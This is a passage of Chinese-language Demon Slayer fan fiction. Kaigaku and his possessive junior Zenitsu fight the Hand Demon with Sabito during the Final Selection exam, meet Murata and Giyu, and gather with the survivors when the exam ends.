狯岳不明白自己当时只是初见的师弟从哪里升起的只针对自己的浓烈的保护欲望,这种浓烈到令人毛骨悚然的欲望简直就像是善逸那不知从何学习的呼吸法一样诡异,并且随着他们的年岁见长,这种保护欲也越来越浓稠,被师弟密不透风围起来的狯岳觉得自己像一只被粘在蜘蛛网上的小虫子。
狯岳平复心中的恶心感,试图好好和这个状态下的师弟讲道理:“我们成为鬼杀队剑士后,总要分开执行任务的。到时候你不能在我身边。”
“怎么不可以呢?”善逸遗憾地看着自己被甩开的手,语气幽幽的:“我们不是说好要一起成为鸣柱的吗?只要和分配任务的人说好,将交给我们的任务安排得近一点就好了吧?”
不行,完全讲不通道理。狯岳不想在跟自己恶心的变态师弟纠缠,转身就走:“总之,我们绝对要分开。我也不会和你一起杀鬼。要是保护欲没地方使那就去找棵树护着。”
善逸快走两步,伸手拦在自己师兄面前:“师兄,别闹了好吗?这里很危险,很多鬼的。”
“滚开!!”狯岳嫌恶地拍开师弟的手,加快自己的脚步朝着山林中跑去。
善逸望着自己师兄越来越远的背影,轻轻叹了口气,语气无奈又纵容:“师兄,你什么时候才能意识到,只有留在我身边,才能幸福地活下去呢?”
然而,他望向师兄的眼神,翻滚着压抑而偏执的情绪。
他跟上师兄的脚步,不远不近地,跟随着师兄的身影。
自从与善逸分开后,狯岳一路顺着他们选择的方向向前。不知是否是鬼被他们杀完了的原因,一路上狯岳都没有再遇见别的恶鬼。
“啧。”狯岳的视线中出现了盛开的紫藤花,是围绕着藤袭山,困住山上的鬼的那些。他已经到达藤袭山的边缘了。
然而今天才是考核开始的第三天。
狯岳沿着藤袭山的边缘,选择了另一个方向,继续进到了山中。
这样在山中游荡杀鬼的日子持续了三天,三天内都没见到善逸,让狯岳神清气爽,就连白天的补眠都舒适且安宁,从来没被突发的意外吵醒过。
只是,他总是梦到自己又被那个废物师弟像是八爪鱼一样缠起来,并且在自己耳边喃喃着“不许离开我”。
狯岳拍拍自己的脑袋,觉得自己是被善逸那个废物给恶心到了,才一直做这种梦。
狯岳换了个方向后,总算是又遇见了鬼的身影。藤袭山的鬼都是只吃了一两个人的弱鬼,虽然离开了善逸的逆天听力的警戒,狯岳杀死这些鬼还是很轻松。然而不知道为什么,越向藤袭山的南边前进,路上能遇到的鬼越少。
可恶,既然一个人遇不到鬼,那和蠢货分开的目的不就完全没办法达成了嘛!
狯岳有些焦躁,精神更加紧绷,注意力完全集中在自己的身周,一点点搜寻林中的异样。
狯岳前进的路上也遇见了同样进山考核的其他人,但他对那些一眼就看得出很弱的人不感兴趣,见到他们只微微点头,然后冷着脸与他们错身而过。
第六天晚上一整晚,狯岳一只鬼都没有遇见。他烦躁地握着刀柄,仔细地在四周逡巡着,试图找到那些藏在犄角旮旯中的恶鬼的线索。
突然,眼前的灌木丛中突然冒出了一个惊慌失措的人,慌不择路地跑掉,差点撞上狯岳。
23.第 23 章
狯岳伸手阻拦了这个慌不择路逃跑的人一瞬,扶上他的肩膀,试图从他这里得到一些前面的线索:“发生了什么?”
那个人浑身颤抖,哆哆嗦嗦地从口中挤出一行话:“前面……巨大的……怪物……鬼……!!”说罢,用力冲开狯岳阻拦的手,拼命地朝着前方跑去。
狯岳握紧自己的日轮刀,感受着心中的预感。不太妙。
但是,他必须要变强。
狯岳轻呼出一口气,左脚登上树干借力,三两步越过灌木向前,朝着刚刚那人逃跑的方向进发。
跨过遮挡视线的灌木丛,三米高的巨大鬼影直直闯入他的视线之中。
在注意到那只鬼的一瞬间,狯岳就严肃了神色。
只见那只让他感觉很不妙的鬼近乎有六七米高,身上臃肿地缠满了手臂,正在与一个桃粉色头发,脸侧带着消灾狐面的剑士缠斗着。
他一靠近,战斗中的双方同时注意到了他。
那个粉发剑士被狯岳的动静干扰,仓促申刀挡下恶鬼从身上弹射出来的手臂,抽空转头望向他:“别愣着!!找个安全的地方躲起来!!”
而那只身上长满手臂的异形鬼也转过眼睛看向他,用恶心又贪婪的语气开口:“呦,被你放跑了一个又来了一个,今儿我运气真是不错。”
话毕,身上的手臂迅速地朝着狯岳的方向弹射过去:“好好的被我吃掉吧!!”
“一个两个的都在自说自话些什么呢!!”狯岳猛的抽刀,胳膊上闪耀出电光,在呼吸的加持下,他的速度快了一大截:“雷之呼吸 五之型!”
雷电顺着他的胳膊蔓延到日轮刀之上,闪着大量雷光的日轮刀上雷光逐渐累积,到手鬼的手臂出现在狯岳一米外时,日轮刀上的雷电已经由蓝转变为恐怖的红色。狯岳的双腿也闪过电光,快速闪过伸来的手,从正面挥刀斩下了这击!!
恐怖的暗红色雷光顺着手鬼伸来手臂蔓延,瞬间,那只手被竖着劈开,剑气带着红色的雷光一路顺着手臂蔓延,直直劈到了手鬼的本体之上!!
“热界雷!!”
“啊啊啊!!可恶的小子!!”本以为蹦出来个嘴边的吃食,结果这吃食长出了麻人的刺,还将他的一条手臂从中间劈断,将他半边身子都电的发麻,手鬼气得要死反手就想先将这个新冒出来的人给捏死。
“别忘了我啊!!”那个粉头发的剑士也快速挥出刀剑,水光从他的日轮刀间浮现,一刀砍掉了手鬼向着狯岳方向弹射蓄力的手臂。
趁此机会,狯岳迅速拉进与恶鬼的距离,电光出现在自己的全身,围绕着那巨大切扭曲地恶鬼旋转出刀:“雷之呼吸 三之型!!”
狯岳的身周闪出细小的蓝色雷电,然而他移动的速度极快,围绕着手鬼,将手鬼从身体上长出的手全部砍了下来!
手鬼的主要攻击被那个粉发少年牵制着,只能眼睁睁地看着眼前的人将自己围绕在脖子上的手全部砍掉。
“两个讨厌的小鬼!!”手鬼狂暴了,他将剩余的所有手臂缠绕起来,化作一只更加粗长的手臂伸向了粉发少年的方向,想要先集中力量斩杀掉那个讨厌的戴消灾狐面的小鬼,再解决在自己身边烦人地旋转的小虫子。
然而他将所有的手臂都伸向了消灾面具少年,在狯岳眼前,他的弱点正大喇喇地暴露了出来!
狯岳不再犹豫,他双腿闪上雷光,硬是踩着手鬼身上那些刚生长出来的小手臂三两步快速跳跃到了手鬼的脖子附近!
与此同时,注意到手鬼的脖子没有遮挡的粉发少年用日轮刀挡住手鬼向着他脑袋弹射过来的巨手,刀剑划出水流,“唰”一声过后,手鬼那巨大的手被他的日轮刀砍了下来!!趁着手鬼还没催生出新的手臂,他接着手臂的力道轻蹬,竟是与狯岳同时来到了手鬼的脖子处!
两道声音同时响起:“雷之呼吸”/“水之呼吸”
“五之型”/“一之型”
“热界雷!”/“水面斩。”
一瞬间,两道攻击同时冲着手鬼的脖子斩来!黑红的雷光加上浅蓝的水光,这样恐怖的攻势马上就要落在了手鬼身上,然而,突然,狯岳注意到了手鬼动作之中的轻慢。
不对劲!!狯岳心中警铃大作,然而此时已经来不及收手,狯岳紧急调整呼吸,在挥出日轮刀的一瞬间,他收敛心神,警惕着自己周围的动静。
日轮刀带着汹涌的雷劈到了手鬼的脖子上!但感受到从刀上传来的震感的那刻,他就知道,为什么刚刚那手鬼眼神中充满不屑了。
这道加持了大量雷光的热界雷,居然只在手鬼的脖子上砍出了三指深的痕迹!!眨眼间,那道带着雷光的痕迹就被手鬼愈合了!
日轮刀传来的感觉非常不妙!!轻微的碎裂声音绕过雷光出现在他的耳边,接着,狯岳的日轮刀刀尖竟碎裂在了手鬼的脖子里!!
师父的日轮刀!!可恶!!
“铿!”在狯岳的余光中,和他一齐挥出攻击的粉发小哥,他砍在鬼身上的日轮刀居然从中间断掉了!!
粉发小哥的表情错愕,动作随着断掉的刀身扭曲了一瞬间,就在这短短一瞬,手鬼被斩断的巨大手腕断口血肉蠕动起来,断口的方向直直对准粉发小哥的脖子!
“闪开!!!”狯岳瞳孔紧缩,在空中紧急调转姿势,双腿闪出电光,在手鬼的脖子上借力一蹬,像是一道闪电一般,赶在手鬼抓上粉发小哥脑袋之前,千钧一发之际抓住了小哥的白色羽织,用力往后一扯,小哥的脑袋和手鬼的巨手险险擦过,狯岳一个转身拉着小哥落地。
“啪嗒——”
随着两人落地,一声细小的木纹断裂声音响起,粉发小哥的消灾面具碎裂开来,在小哥微微呆愣的目光下掉落在地。
“嘁!恶心的虫子。”手鬼一击不成,遗憾地收回了手。
“别发呆!”狯岳眉头紧皱,忌惮地盯着眼前扭曲的异形鬼。
他们两个的斩击,居然都不能砍掉手鬼的脖子!!
“就凭你们两个小虫子!!真是惹人发笑!!”手鬼的笑声尖利刺耳,同时,曾被粉发小哥踩在脚下借力的手臂突然催生出一排如肉芽般的手,全部向着两人的方向抓来:“一个个,都死在我的手下吧!!”
“可恶!!”早有预感的狯岳极速挥刀,用没有刀尖的日轮刀勉强挡下了此次攻势,另一位粉发小哥的日轮刀断掉了,基本可以算是失去了战斗力,狯岳挡在他面前,一个人接下了所有的攻击!
“可恶!可恶!!”狯岳艰难地闪避着手鬼的攻势,同时再次使用呼吸法加强腿部肌肉,勉强自己保持刚刚的速度,在手鬼攻击的空隙,闯上去发起对准手鬼脖子的斩击。然而,多次使用呼吸法之下他的双脚难免麻木,还没赶到手鬼眼前,就被他伸出的手给拦住。
狯岳急急改变姿势格挡,没想到挡下他攻击的手臂再次分裂,竟直直朝着他的脑袋抓来!
好在,千钧一发之际,一道攻击从身边传来:“水之呼吸 四之型!!击之潮!”
手鬼朝向他脖子的攻击被打断,而在这千钧一发之际,狯岳得以顺利逃脱手鬼的攻击。
他转头,发现那位日轮刀断掉的粉发小哥,正挥舞着他那只剩下一半的日轮刀勉强使用呼吸法。
“你怎么不离开!!只有半截的日轮刀有什么用!!”狯岳冲着那位攻击力被削减了一半的小哥大喊,同时跳跃躲过手鬼再次袭击来的手。
“男子汉可不能退缩,留你一个人在这里被攻击啊!!”粉发小哥挥舞着自己的一半日轮刀,挡下了手鬼的手。
“想死不拦着你!!”
于是,多次用呼吸法刺激身体肌肉导致浑身酸痛,加上日轮刀刀尖破损的狯岳与日轮刀直接被砍断,只剩下一半的粉发小哥,两个残血,硬是和手鬼继续周旋了下去。
然而,两个人都没有能够杀死手鬼,砍掉他坚硬如钢铁的脖子的
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强力招式,加上之前的消耗,无论他们两个使出多少其他招式,依旧没法打断手鬼的状态,反而只是在空空消耗自己的体力,让之后的攻势变得疲乏了起来。
没有了最开始的猛烈攻势,手鬼找到机会休整,逐渐恢复了自己的状态。他重新长出大量的手臂,向着两个人抓来:“你们两个,能挣扎这么久也是厉害!现在都进我肚子里休息吧!!”
被一些小手臂困住了两个人,眼睁睁地看着那大手朝着他们的脖子抓来!!
狯岳激烈地喘息着,拼命地挤压着自己的肌肉,想要将自己从那堆手臂的包围中拔出来,然而高强度的交战让他的肌肉逐渐变得麻木,只能眼睁睁地看着那大手向着自己的脖子袭来!
然而就在此时,从刚刚狯岳来的方向突然传出一道声音:“雷之呼吸 一之型!霹雳一闪·神速!”
霎时间,一道如闪电一般的身影极速闪过,下一刻那两只向着狯岳和粉发小哥的巨手就被这道电光斩断,掉落在了地上!
被金色的电光晃了眼,在狯岳朦胧的视线中,一个熟悉的黄蓝长发少年落在了自己眼前,锋利而尖锐,仿若他就是雷电本身。
“师兄,你看,我和你说了不要离开我。”善逸甩掉日轮刀上的血液,转头看向自己狼狈的师兄,目光在师兄身上检查了一圈,没有发现什么明显的伤口才放下心来。他对于师兄离开自己后依然遇到危险这件事对师兄有些小小的怨怼,但此时恶鬼还没有被斩杀,不是吵架的好时机,就暂且没有和师兄挑起争端,转而看向另一个人。
“你是锖兔是吗?你没事吧?”
那位刚刚拿着半截日轮刀和狯岳一起杀鬼的粉发少年,也就是锖兔,下意识去扶自己脸侧的面具,摸了个空后动作顿了下,冲着赶来的黄发少年哪里点了下头。
“哪里又来一个用电的臭小鬼!一天天的闲得没事就去嚼花椒!在这里麻别人干什么!!”被斩断手臂的手鬼喋喋不休着,心中有些莫名的恐慌蔓延,让他想要向后撤退。
“又是一个异形鬼啊。”善逸观察着眼前这个长得像皮筋捆的鬼,那些密密麻麻的手臂向着他弹射过来。
在善逸身后,再次被师弟救场的狯岳既安心又不甘。他甩掉了这个烦人精自己行动,结果再见面时又是自己被鬼围杀的场景,还需要师弟来救……可恶啊!正在狯岳暗自咬牙,以为之后又是我妻善逸的个人秀的时候,突然,他被挡在他前面的黄发身影叫住:“师兄!掩护我!”
说着,狯岳眼前的师弟做出一之型的起手式,冲着恶鬼直直冲了上去,一点也不担心那些向着他袭来的手臂。
“你个臭小鬼!”听到善逸的声音,狯岳惊讶了一瞬,没想到他会招呼自己一起杀鬼……但见自己莽撞愚蠢的师弟一马当先地冲了上去,完全不担心自己跟不上他的脚步,狯岳咬牙,继续使用呼吸法加强腿部肌肉,勉强地跟上了师弟的速度,帮他将身边那些袭击上来的手臂全部砍断,打断手鬼的任何想要招呼到善逸身上的攻击,让善逸的霹雳一闪顺利地砍到了手鬼的脖子上。
善逸的日轮刀一接触手鬼,就发现了日轮刀之下的鬼身的强度非常高,根本不是普通剑士能够轻易砍断的。不过好在砍过另一只异形鬼的我妻善逸早有预料,握着日轮刀的手臂更加用力,更多的蓝色电弧顺着刀身传递到了刀刃之上,本有些停滞的刀身继续丝滑向前劈砍,顺利斩掉了手鬼的头颅。
“啊啊啊啊啊啊啊啊!!!!!”
头颅掉落的手鬼在地上痛苦地哀嚎着,眼睛瞪的大大的,试图永远记住这位将他杀死的人,就像他记恨将他抓到藤袭山的鳞泷左近次那样。
然而那位将他的头砍下来的人根本没有回头看过他一眼,确认他已经死亡,就转身走向另一个用雷之呼吸的小子了。
“啊啊啊……可恶啊……”
手鬼那高大的身躯,以及他被砍下来的头,就在这样的怒吼之中,化为了飞灰。
24.第 24 章
善逸没管那被他砍死的鬼,转身接住了自己往下栽倒的师兄:“师兄!你没事吧!!”
为了和手鬼战斗而高强度地用呼吸法加持腿部,导致现在的狯岳双腿没有了知觉,差点直直地倒在地上。
善逸不顾师兄的挣扎,一手穿过师兄的腋下,一手揽过师兄的腿弯,将师兄整个抱了起来。
“喂!你!放开我!!”被自己的废物师弟用这样的姿势抱着,狯岳感觉浑身都不对劲,使劲在师弟怀里扭动着,差点从善逸怀中拱到地上。
明明自己都站不起来了还在这样有劲儿的挣扎……善逸感觉自己怀中的师兄像是受伤了还在人手中不停拉扯的小猫,根本按不住。“师兄,微微消停一点吧……”
善逸将自己的师兄向上颠了颠,警告地蹭了蹭师兄的脖子:“从我怀中掉出来,我可是会打你屁股的呦,师兄。”
狯岳的身体僵硬了一瞬,他看出了现在善逸的心情不对,说不定还真会做出这样的事!
狯岳想象了一下那样的情景,觉得自己可能会忍不住和自己的傻子师弟拼命。算了,跟傻子计较不划算。
于是,被成功威胁到了的狯岳不再挣扎,默默缩在师弟怀里生闷气。
善逸暂时没有理会自己生气的师兄,他望着另一位刚刚和师兄一起战斗的锖兔开口:“你还能自己走吗?”
“没问题!”锖兔从刚刚就在注意到了这俩个人的亲密关系,知道自己是占了另一位小哥的光,对于这位救场的剑士很是感激:“非常感谢你救了我!我叫做锖兔,之后有什么需要一定在所不辞!”
“你好,我叫我妻善逸。”善逸仔细观察了一下眼前的人。毛茸茸的桃粉色半长头发,银紫色眼睛,从嘴角到耳边有一道肉粉色疤痕,身上衣服是眼熟的黄绿龟甲纹,外面套了一件白色的羽织,手中的日轮刀只剩下了半截,被他插回了刀鞘之中。
善逸将在自己怀中微微自闭的师兄向着锖兔展示了一下:“这位是我的师兄,稻玉狯岳。”
“……”被硬拘束在师弟怀里的狯岳只能用这种丢人的姿势和锖兔打招呼:“你好,我叫稻玉狯岳。抱歉,我现在没办法下地。”
“没关系没关系!!”锖兔摆手表示不在意,新奇地看着这一对师兄弟:“你们两个关系真好啊。”
善逸自觉忽略掉怀中师兄嫌弃的“嘁”声,笑眯眯地回答狯岳:“当然了,我们可是十岁就认识了,之后一起在师父哪里学习了三年呢。”善逸低头,用脸蹭了蹭师兄毛茸茸的发顶,被师兄嫌弃地拍开脸也不在意。
“是吗?真好啊。话说,你怎么知道我的名字?”锖兔突然想起了自己在战斗时被善逸叫出的名字,略带好奇地询问。
“这个啊!”善逸也是才想起来的样子,“这是因为……”
时间调回狯岳遇到手鬼之前,当时的我妻善逸正在远远地跟踪着自己的师兄,忽然,他的耳边听到了什么别的动静。
善逸抬眼确认了自己的师兄不会在短短的时间内跑出自己的听力范围,就将脚步微微朝着别的方向偏移了一点。
等他穿过蹭蹭的树木遮挡,见到那群鬼的时候,一个黑色短发的剑士正扶着另一个昏迷的人,在三只鬼的包围之下艰难地腾挪着。
善逸时刻注意着自己的师兄,用了最快的速度砍掉了三只鬼的脑袋,救下那两名剑士后就打算离开。
“那个!!非常感谢!!”那位清醒的剑士朝他鞠了一躬。
等等,这声音有点耳熟。善逸转身,仔细地看向了那个依然在鞠躬的男孩。
“你是叫村田?”他仔细辨认这人的容貌,将他与上辈子曾经在那田蜘蛛山之后休养时来找炭治郎的队士对上了号。
那人,也就是村田,惊讶地抬起头:“是的,我是村田。您认识我?”
居然是熟人啊。这是善逸除了爷爷和师兄外遇见的第一个上辈子的熟人,又想起刚刚他的危险局面,善逸停顿了自己离开的脚步,转身看向了村田小哥扶着的昏迷的人。
“将他放下来吧,我给他看看。”善逸向着村田小哥示意。
虽然不知道在这种情况下善逸能够做什么,但本着对救命之人的信任,村田小哥还是将自己扶着的人放在了地上。
善逸将那个昏迷的黑发男孩受伤流血的左脸上的头发掀开,这个身着绯红色羽织的男孩的脸完全展露了出来。
这个人……善逸没想到自己短短一会儿居然遇见了两个上辈子见过的人。这个人,是上辈子那个穿着拼接羽织的水柱大人吧。
居然晕倒了啊。
善逸抓住了这个人的胳膊,将一些细小的电流引入他的身体之中。这是他根据自己的新能力开发的招式。自从他发现了自己能在使用呼吸法的时候对目标生物产生高电量带来的裂伤,就一直在试图控制这股电流。将对人体无害的电流量输入到身体中以刺激细胞活性,帮助身体苏醒以及加快恢复,就是他控制电流创造招式时的副产物。
在村田小哥震惊的目光中,善逸手下的人很快睁开了眼。
他收回自己的手,示意村田将地上的人扶起来。
醒来的人迷茫地看向身边的村田,忽然抬起手,抓住了村田的手臂:“锖兔呢?”
村田小哥安抚地拍了拍刚醒来的人的背:“有别的队士遇上了恶鬼,锖兔他去杀鬼了。”
他又望向我妻善逸,眼神迷茫。
村田连忙给他们两个互相介绍:“这是富冈义勇,我们在藤袭山认识的。富冈,这位是……”介绍到一半,村田忽然卡壳,他转头望向了我妻善逸。
“我叫我妻善逸。”善逸接上他介绍的话。
“这位我妻先生刚刚从恶鬼的包围中将我们两个给救了下来。”村田为一脸懵的富冈义勇解释。至于将富冈义勇唤醒这件事,他不知道是否该向富冈介绍。
村田没有开口说,善逸也就没和他们解释。他只是回答了村田的话:“叫我善逸就好。”
“非常感谢您救了我们,善逸先生。”富冈义勇对自己的救命恩人做出感谢。
“你刚从昏迷中醒来,最好还是找个地方休息两天。马上就要结束考核了。”善逸对富冈义勇说道。毕竟他只是用电流强制唤醒了富冈义勇,并没办法直接恢复他的伤势。
“不行,锖兔还在一个人战斗!我也要跟上他!”富冈义勇想继续向前跟上锖兔的脚步,然而大脑的晕眩感让他踉跄了一步,差点摔倒在地。他现在根本没办法去杀鬼。“可恶啊……”
富冈义勇的语言让善逸想起了自己离开的师兄。他微微顿住脚步,对着不甘地蹲在地上的富冈义勇说:“我要去找我的师兄,如果我见到了那位锖兔,会帮你留意他的状态的。”
双手扶着自己的头,蹲在地上的富冈义勇沉默的一会儿,闷闷地说道:“麻烦你了。”
从富冈义勇哪里了解到这位锖兔小哥的外貌信息后,我妻善逸告别了两人,向着自己师兄的方向极速前进。
刚刚耽搁的时间不短,他与师兄之间的位置拉长到了一定的距离,他想要快点追上自己的师兄。
然而,走到一半,师兄哪里的动静突然不妙起来。
善逸停下,仔细辨别了师兄周围的危险。慌乱的心跳、树木倒下的声音,以及,恶心的、粘稠的,鬼的声音。
怎么会!!这种鬼怎么会出现在藤袭山!!
不,不对,是会出现的。善逸想起自己和师兄合力解决的那只异形鬼。
不管怎么说,师兄现在遇到了危险!!
善逸眼前闪过师兄被下弦六抓住脖子的画面。不能让这样的场景再次出现了。
嫌疑闭上眼睛,口腔中呼出白气,双脚上爆发出金色的电光。
霹雳一闪!
嗖地一下,黄色的闪电从山林中穿梭而过,原地不见了善逸的身影。
回到现在,善逸将怀中的师兄搂得更紧了一点,向锖兔讲完了他遇见富冈义勇的事情。
“你也救了义勇吗!太感谢了!”锖兔没想到善逸同时救了自己和义勇,在感激的同时也松了口气:“幸好,义勇没有出事。”
但得知义勇现在的状态不好,他有点着急地询
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问我妻善逸:“可以告诉我一下他们现在所在的方向吗?”
善逸当然没有推辞。
狯岳沉默地听着我妻善逸的经历。他观察到锖兔熟悉的担忧与焦急,忽然开口问:“那位义勇,是你的师弟吗?”
“算是吧。”锖兔单手摸了摸自己的后脑勺:“义勇现在的实力还差了一点,再加上他受了伤,我很担心他会被鬼伤害。”
“既然他的实力还不够,为什么不让他待在安全的地方,反而让他和你一起来杀鬼呢?”狯岳的问题有些尖利,带着点呛人的味道。
锖兔认真地看向刚刚和自己并肩作战的狯岳,语气也严肃了起来:“我和义勇的家人都被鬼杀害,所以成为鬼杀队队员,杀死恶鬼是我们的目标。我没办法因为杀鬼太危险而劝义勇放弃加入鬼杀队,所以我能做的只有和他一起战斗,在他遇到危险时保护他。”
“泛滥的保护欲。”狯岳微微低头,没和锖兔坚定的眼神对上。两三秒后,狯岳恢复了原来的神态,对锖兔道歉:“抱歉,我的话冒犯到了你。”
“没事。”锖兔注意到了他们师兄弟之间的气氛有点古怪,也没有计较狯岳的问题,和他们两个告别后,朝着善逸指明的方向前进。
锖兔走后,两个人久久地沉默着。
善逸将自己的师兄带到了一处小河边,将自己的师兄放了下来,掏出手帕在溪水中打湿,将师兄战斗时粘在脸上的脏东西给擦了干净。
狯岳没有躲,默默由着善逸将他的脸给擦干净。
善逸将师兄脸上的污渍擦掉,对上那个师兄那暗绿色的眼睛,忽然开口:“师兄,你只是想要变强,对吗?”
“感觉到我的保护阻止了你变强的脚步,于是想要和我分开。”善逸仔细地观察着师兄的表情。师兄的眉头微微蹙起,嘴角向下,熟悉的不耐烦的表情,好像师兄总是用这样的表情看自己。善逸将手帕拿开,用食指点上师兄的眉心,强硬地揉开蹙在一起的眉毛:“不用否认,师兄,我听得到你的心声。”
“但是师兄啊,你一个人总会遇到那些会要你命的危险,这让我怎么放心呢?”善逸从地上搂起自己的师兄,将他从小河边带离,让他能靠在旁边的树上坐起来:“就像这样,师兄,我担心你一个人在小溪边,因为我不知道你会不会突然倒下去,掉到水里。哪怕我们都知道你不会受到多大的伤害,但是万一呢?”
“万一你像现在这样,双腿失去了力气,万一你没办法一个人脱离险境呢?”
“所以啊,师兄,我想到了一个好方法。”善逸不再去看自己师兄的眼睛,他用手整理着师兄乱开的衣衫,用手拍打掉上面的脏污:“变强的事情就交给我吧,师兄。”
“哈?就你?”狯岳开口说的第一句话依然是嘲讽:“凭你只学会的一之型吗?”
“师兄,我可比你强哦。”善逸将自己的师兄简单的翻新完,终于再次看向了师兄的脸:“怎么样,师兄?”
狯岳眯起眼睛,怀疑地扫视着善逸。善逸的话语并不强硬,但是眼睛里灼灼燃烧的火焰证明了他的决心。现在的善逸,既不是他平时那种怯懦哭泣的不靠谱状态,也不是发起疯时的阴沉样子,反而沉稳而可靠。
“如果没办法让我满意,我们还是早点分开为好,废物。”
善逸的眼睛亮了起来,对师兄话语中的意思感到分外地欣喜:“答应我了吗??师兄!”
“没有!”
“太好了!!”善逸的眼睛弯成月牙,嘴角大大咧开,冲着狯岳释放了一个满分的笑容:“师兄!我们不要分开了!”
太阳恰好在此刻升起,第一缕晨光穿过层层树梢,照耀在这个笑容之上,为其增添了几分明媚的光彩。
被善逸的笑容冲击的狯岳短暂愣住了一秒钟,然后突然做出呕吐的动作:“别笑了好恶心!”
“师兄!!好过分!!我要告诉爷爷你说我笑得恶心!!”
靠谱的善逸不见了,带着肮脏高音的善逸重出江湖。
“闭嘴!!废物!!告状精!!”
“师兄!!”
25.第 25 章
第七天的太阳在他们的眼前升起,选拔在今天结束。
将两个人战斗时沾染的灰尘都擦干净后,我妻善逸轻巧地凑到了狯岳身边,想要继续公主抱师兄下山。
然而,手臂还没伸开,就被师兄一把拍开:“离我远一点,变态!”
“诶!!师兄为什么又叫我变态!!”善逸委屈的眼泪瞬间飙了出来,哭唧唧地凑到师兄身边:“我明明什么都没做啊!!师兄!!”
“哈?你还好意思说!!”狯岳答应了善逸硬要和自己贴在一起的请求后,越想越不对劲。他仔细捋了捋善逸刚刚的话,忽然意识到了什么不对,此刻他用手支着善逸的大脸,咬牙切齿道:“你小子,是不是,从我离开你之后就一直跟在我后面,嗯??”
在狯岳手中挣扎的脸僵住了一瞬:“哈哈,怎么会呢师兄,我才不会像是跟踪狂一样呢,哈哈,师兄你讲笑话。”
“死变态你还不承认。”狯岳像是抓住了善逸的小辫子,一种得意与恶心混杂的心情蔓延在他心中,想要让善逸难堪的恶劣心思驱使下,狯岳继续开口:“说着不放心师兄的借口一直在后面跟踪,悄悄在身后观察我的一举一动,这样隐秘的偷窥会让你觉得爽吗?”
善逸的动作彻底停住,他伸出一只手,将师兄抵在自己脸上的手握住,手指摩挲着狯岳的手腕,没有狯岳想的被点破心思后的难堪与无所适从,反而委屈了起来:“师兄怎么能将我不放心的话语当做借口呢?我超级担心师兄遇到危险,为了保护师兄一刻都不得疏忽。”
善逸将师兄的手背贴到了自己的脸上,用可怜巴巴的仰视视角望着师兄:“我都这么努力了,结果还是差点让师兄受到伤害……”
根本没打到自己想要的结果,还被自己愚蠢的师弟用这一种懦弱的表情看着,狯岳抬起另一只手,放在眼前挡住善逸的视线攻击,怒声道:“收起你那恶心的表情!没脸没皮的东西!”
“师兄就算是你一直骂我我也会哭的哦!!还有啊!我可是一直很担心地看着师兄!根本没有偷窥的感觉啊!!”嗓门很大,声音也在山林中传递得很远,狯岳恶心地看着自己好像没有羞耻心的师弟,一把将他还在大叫的嘴捂住:“闭嘴!!雷呼一门的脸都要被你丢尽了!”
善逸被师兄捂住了嘴,只能继续用可怜的委屈眼神看着师兄,刚刚才哭过的眼睛红红的,泛着水光,到真有被欺负过的样子。然而看到这张脸,狯岳只想要冷笑。他咬牙切齿地低声说:“你在委屈什么?刚刚不还威胁我说要打我屁股吗??胆大包天的废物!”
善逸还想开口,结果嘴被师兄牢牢地捂着,只能发出支支吾吾的声音。狯岳感受到自己捂住善逸嘴的手心中的奇怪触感,像是被烫到了一般,连忙收回手,将善逸的脸推到一边:“好了,别废话了,我们要下山了。”
“师兄你现在还走不了吧?”善逸检查过了师兄的双腿,这种用多了雷呼的后遗症没办法用电流刺激肌肉来恢复,只能靠他自己的休息缓过来。
狯岳感受了下自己麻木的双腿,感觉比刚刚好了一些。“你站起来扶一下我。”他宁可留在藤袭山上也不要再被善逸用那种恶心的姿势抱了!
在师弟的搀扶下,狯岳成功站起身来,然而他的双腿依旧麻木,只能起到支撑的作用而没办法移动。于是狯岳只得被师弟圈住腰,在善逸的带动下缓缓朝着山下走去。
从盛开得灿烂的紫藤花间穿梭而过,再次来到曾经宣读选拔规则的地方,此时被紫藤花包围的广场已然等待了众多的人。
这些剑士们身上或多或少都带伤,甚至还有两个昏迷的人,但是都好好的活着,让善逸惊讶不已。
此次参加考核的人数大概在二十多人,此刻已经聚集在此处的人就有十七八,还有人在不断地下山,最后完成考核的人数会更多。
要知道,同样的参与人数,在善逸上辈子的那场考核里,最后就活下来了五个人。
他扶着师兄找到一处人少的空地站好,转而在人群中搜寻熟悉的身影。
“善逸!!稻玉君!!”正好,刚从山上下来的锖兔、富冈义勇与村田三人也发现了他们,锖兔扶着富冈义勇向着他们走来。
村田和我妻善逸打完招呼,转而看向他搀扶着的狯岳:“这位就是善逸君的师兄了吧?您的师弟真得很厉害,从三只鬼的包围中轻松救下了我们呢。”
面对这位短发小哥对于善逸的夸赞,狯岳只是微微点头,客气而礼貌的回应道:“他没有给你们带来麻烦就好。”
“师兄!!我不会轻易给别人造成困扰的!!”我妻善逸正期待着师兄对自己的评价,听到这话不满地嚷嚷出声。
“哈?你给别人带来的困扰还少吗?没有自知之明的家伙。还有!声音小点!别再外面给师父丢人!”狯岳不客气地回怼,面对这个嗡嗡大叫的大喇叭,他恨不得将这个愚蠢丢人的师弟的嘴给封上。
“我哪里丢人了!!师兄!!我可是从鬼手中救人了哦!超光荣的!爷爷知道了肯定要夸我的!!”没得到师兄的夸赞还被骂给爷爷丢人,善逸超级不满,两只手扶着师兄的肩膀摇晃,没有了支点的狯岳差点被善逸推到地上,幸好被意识到自己松手了的善逸心虚地捞了回来。
“duang!!”然而他还是没逃过师兄的制裁。扶着师兄腰的我妻善逸头上缓缓鼓起一个还在冒热气的大包,痛得善逸眼前一黑,还只有一只手可以去扶脑袋,吵闹的声音也停了下来,刚刚还嚣张气焰此刻缓缓地萎缩,变成了扁扁一片,委委屈屈地趴在了师兄身上。
“说了,不要大吵大叫的丢人,别给脸不要脸。”狯岳靠着师弟支撑身体,收敛起因嫌弃师弟的而蹙起的眉眼,转向从刚刚起就想要说什么的锖兔三人:“请问有什么事情吗?”
自从和师兄分开后,我妻善逸由于时刻担心着师兄,一直处于一种非常靠谱的状态,导致三人对他的印象都是很严肃很厉害的剑士。狯岳更不用说,在除了师弟之外的人面前都是一副礼貌且疏离的样子,然而此刻,严肃靠谱的剑士大声尖叫,礼貌疏离的剑士出拳暴击,让旁边围观的三个人震惊得下巴都要掉了下来。
锖兔本以为狯岳和善逸是很友善的师兄弟,乍然看到两个人如此热闹的场景,转而哈哈大笑起来:“狯岳君,你和善逸君的关系真得很好啊!”
狯岳微微皱眉,露出嫌弃的样子,但并没有出声反驳。他微微欠身:“让你们看笑话了。”
